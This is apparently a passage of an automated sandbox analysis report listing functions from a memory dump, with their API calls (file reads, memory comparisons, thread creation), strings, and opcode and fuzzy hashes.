Instruction Fuzzy Hash: 7DC15D30E082858BEB15CFA8E4D079D7AF1AF8831CF29C46DD8469B349EB74D885CB51

Function 61E4C7C5 Relevance: 8.0, APIs: 4, Strings: 1, Instructions: 467
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcmp.MSVCRT ref: 61E4C91F
memcmp.MSVCRT ref: 61E4C973
memcmp.MSVCRT ref: 61E4C9F2
memcmp.MSVCRT ref: 61E4CC23

Strings

0, xrefs: 61E4CC0C

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: memcmp
String ID: 0
API String ID: 1475443563-4108050209
Opcode ID: 3febbe9025790a98fcc424e7053522d0f7b55d065d40a9560c436ebf9cdeed3d
Instruction ID: 3bb57cbd4086e38ca070a1eb41e2420ec87b0c0feb17810d174f813009c16240
Opcode Fuzzy Hash: 3febbe9025790a98fcc424e7053522d0f7b55d065d40a9560c436ebf9cdeed3d
Instruction Fuzzy Hash: 66127D70F05255CFEB05CFA8E484789BBF1AF48318F25C1A9D845AB356D774E88ACB80

Function 61E541A0 Relevance: 6.8, APIs: 2, Strings: 2, Instructions: 772stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E541DC
strcmp.MSVCRT ref: 61E543C4

Part of subcall function 61E0AE03: free.MSVCRT ref: 61E0AE3D

Strings

@, xrefs: 61E54291
rnal, xrefs: 61E547EC

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: strcmp$free
String ID: @$rnal
API String ID: 3401341699-826727331
Opcode ID: 04d5e6c441bbf8750f8d4e7631d4b0402e699f56de4de675d1cbd554cb088b02
Instruction ID: 0ce42be2a52064457b78e7c31244c3f07411abd0ae8e299ce13c5538bbb98839
Opcode Fuzzy Hash: 04d5e6c441bbf8750f8d4e7631d4b0402e699f56de4de675d1cbd554cb088b02
Instruction Fuzzy Hash: 70822470A04259CFEB60CF68C880B89BBF1BF45308F2481EAD8589B352E775D9A5CF51

Function 61E4928D Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 309
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 61E4947D

Strings

exclusive, xrefs: 61E493FC
winOpen, xrefs: 61E49605

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: CreateFile
String ID: exclusive$winOpen
API String ID: 823142352-1568912604
Opcode ID: 05e922388839dc4f4ca0a419fa8aad4fac10a301f76b51f4e0cfaabc36faa4c0
Instruction ID: ddd978882cd5270fa8f94071a9300b4b805ea89cb158bd2aa8a7dfbc70792811
Opcode Fuzzy Hash: 05e922388839dc4f4ca0a419fa8aad4fac10a301f76b51f4e0cfaabc36faa4c0
Instruction Fuzzy Hash: B4D1A2709047499FDB10DFA9D58478EBBF0AF88318F208929E868EB394E774D985CF41

Function 61E33F01 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 61E33FB1

Strings

winRead, xrefs: 61E33FF4

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: FileRead
String ID: winRead
API String ID: 2738559852-2759563040
Opcode ID: 851fea00ae6f1ba7616ac175e32ee1177d3feb74bace6ba213d978081e29e1e5
Instruction ID: 0463a8294cdaeeb391ba6f45b5ad466d8cdf6662135ec028d0205bc88dba3c8e
Opcode Fuzzy Hash: 851fea00ae6f1ba7616ac175e32ee1177d3feb74bace6ba213d978081e29e1e5
Instruction Fuzzy Hash: 2041E475A052699BCF04CFA8D88498EBBF2FF88314F618529E868A7354D730E941CB91

Function 61E15111 Relevance: 3.1, APIs: 2, Instructions: 80
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_beginthreadex.MSVCRT ref: 61E1512D
GetCurrentThreadId.KERNEL32 ref: 61E15148

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: CurrentThread_beginthreadex
String ID:
API String ID: 982669324-0
Opcode ID: f615dc7b7e999705fe73c8510302048efcb03f76f94e809957717ec93d4871f7
Instruction ID: 42f2b6fd1f22f931f1f5e4e4650255a3aee80b5d1c0a6131159fee0115e9d0d4
Opcode Fuzzy Hash: f615dc7b7e999705fe73c8510302048efcb03f76f94e809957717ec93d4871f7
Instruction Fuzzy Hash: 193147B1E096498FDB01CFA8E4823DDBBF0BF49719F24806AD804AB344D774C940CB69

Function 61E3402F Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNEL32 ref: 61E3404C

Strings

winClose, xrefs: 61E34086

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: CloseHandle
String ID: winClose
API String ID: 2962429428-4219828513
Opcode ID: c60c52094e65ead93584bd01b08d1abc788ebbc504c85440e44ebfbab32f71d9
Instruction ID: 774f0b390e99eda96ce63d5266cab459109c075f265339c96ef3e2cb904a27c1
Opcode Fuzzy Hash: c60c52094e65ead93584bd01b08d1abc788ebbc504c85440e44ebfbab32f71d9
Instruction Fuzzy Hash: EBF09670B043259BE700AF75C5C4A5AFBA4EF89314F20C46DD8898B342D73AD944CB92

Function 61E0AE03 Relevance: 1.3, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

free.MSVCRT ref: 61E0AE3D

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction ID: a929929d55870eb2e3dfc3d9b08de53e37bb6c9da6c43a06ed963554b33c57a4
Opcode Fuzzy Hash: 515cd9b0cc975ca03c008dfe43f6ff5eb83953987e78c9cd7cdb726aa12e4eb5
Instruction Fuzzy Hash: A5F090B1554708CFDB006FA8E8C52153BA4F746219F5840BAE8150B201D735D5E1CB91

Function 61E2A6AF Relevance: 1.3, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 61E2A6BF

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction ID: 08a60fc229ca929b4850671bf03eed3452f9cad2ea52f9bb94d0a5c68b8f0e05
Opcode Fuzzy Hash: 1f2356de957b5852e51c4f16dd739168b253dd6d2aac726755fb4680bcc79cb1
Instruction Fuzzy Hash: 68F039B0C4830A9FCB009FA5DAC5A0DBBE8EB84258F14C46DE8988F710D334E580CB51

Non-executed Functions

Function 61EAF900 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 61EAF94F
UnhandledExceptionFilter.KERNEL32 ref: 61EAF95F
GetCurrentProcess.KERNEL32 ref: 61EAF968
TerminateProcess.KERNEL32 ref: 61EAF979
abort.MSVCRT ref: 61EAF982

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: a4a9847f77e74dada988f497729c1a98e5ce87648e4cbf1531909a786ce77a21
Instruction ID: c24ac7f06ebf37709200600ee493e26a75483ae19b01d267103323a56ae8c6ad
Opcode Fuzzy Hash: a4a9847f77e74dada988f497729c1a98e5ce87648e4cbf1531909a786ce77a21
Instruction Fuzzy Hash: A911C0B5A14A04CFDB00EFB9D64861EBBF0EB5A304F548929E998CB311E774D9848F52

Function 61EAF8FC Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 61EAF94F
UnhandledExceptionFilter.KERNEL32 ref: 61EAF95F
GetCurrentProcess.KERNEL32 ref: 61EAF968
TerminateProcess.KERNEL32 ref: 61EAF979
abort.MSVCRT ref: 61EAF982

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminateabort
String ID:
API String ID: 520269711-0
Opcode ID: 809d5849f306e8cbba18693fd90c7cf66234664076c9294cd7ae7ac548d3f73e
Instruction ID: 7495df9e9e8546bc4f00ea4b28ebddf21febabb08c5f400c51aaf875caca2d4b
Opcode Fuzzy Hash: 809d5849f306e8cbba18693fd90c7cf66234664076c9294cd7ae7ac548d3f73e
Instruction Fuzzy Hash: DB11F3B1914A04CFDB00EFB9D64821D7BF0EB0A304F148529E958CB301E774D984CF52

Function 61E2D68C Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

bua, xrefs: 61E2D6C4

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID:
String ID: bua
API String ID: 0-3993766197
Opcode ID: 633315b2ebd987899b0574c5a9c2535cb517164b27f88ba4281f08561b9dd3a8
Instruction ID: 2dbdb228c3cab7288b2b063f09620b15a0131b4afe136593b5dc23e7c01abf69
Opcode Fuzzy Hash: 633315b2ebd987899b0574c5a9c2535cb517164b27f88ba4281f08561b9dd3a8
Instruction Fuzzy Hash: BF112A74A0434A8FCB04CF6DC5C058ABBE4FF88265F248529ED48CB301D374E991CB91

Function 61E2D9B0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37ab0d498e6869f1248f18525f82ea8c3addd781597051de19eda25eeb30940a
Instruction ID: 382c8684cf9a3560b476f3c0be3439e748f519b75ac4ebfb263bed86336ac9cf
Opcode Fuzzy Hash: 37ab0d498e6869f1248f18525f82ea8c3addd781597051de19eda25eeb30940a
Instruction Fuzzy Hash: 1A319EB8508755DBDB04DF58C4A06AABBF0FF89324F24C95EEAA84B351D334C451CB42

Function 61E2D781 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97cbfa6a907e55dae8401866b1d15889492c98cb2e246ce72649cc570ac47a2c
Instruction ID: 3be14e853f6d6f7a8a57e59baf3aa0a0bffb859339050ea86f3e3846f1c49e98
Opcode Fuzzy Hash: 97cbfa6a907e55dae8401866b1d15889492c98cb2e246ce72649cc570ac47a2c
Instruction Fuzzy Hash: 80012878A046559FCB00DFA9C4D095EBBF5FF89724B24C46AEA488B314C738E851CB92

Function 61E0B431 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba9cc90e5a21082ad6c2295b21ce38250c8b9c469be8e37a4c4f460e4ebd293f
Instruction ID: f77352582697cf63471e0c4c8f40e3a4f494cd20e5c99f7e715a2ca9bff404d5
Opcode Fuzzy Hash: ba9cc90e5a21082ad6c2295b21ce38250c8b9c469be8e37a4c4f460e4ebd293f
Instruction Fuzzy Hash: 4C01F93A904650CFC7009F65C4C0699BBB5FF85319F19C16ADC584F346D734D592CB91

Function 61E2D714 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0c3ebf914bd4d94a51e339c97bb43ea5b9a0e5b7f07c667420d66bd9099e7be
Instruction ID: 23c8173731f4f8750f7e82a0d5cf473f1c368e3d07a63e1643a5bca77f02800b
Opcode Fuzzy Hash: e0c3ebf914bd4d94a51e339c97bb43ea5b9a0e5b7f07c667420d66bd9099e7be
Instruction Fuzzy Hash: 18014B74A003469BD704DF6AC4C4A4AFBB4FF88368F14C669D8088B301D374E995CBD0

Function 61E2D5E6 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082332848.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082426862.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082548990.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_61e00000_8c3bfc0f85.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 603a9ca93cbafb1f4181249a4d705fd8964dc025393484f8e9e5c12118581de5
Instruction ID: 683273e64459584920a51cd19a7e4d80a31ac76df9d38907cb404440e2cf26f0
Opcode Fuzzy Hash: 603a9ca93cbafb1f4181249a4d705fd8964dc025393484f8e9e5c12118581de5
Instruction Fuzzy Hash: BDF05E79A0020A9FCB00DF69D9C088EB7F9FF89224B24C065ED089B305D334E952CF91

Function 61E2D595 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3081992510.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 0000000A.00000002.3081921629.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082141001.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082200120.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3082267195.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
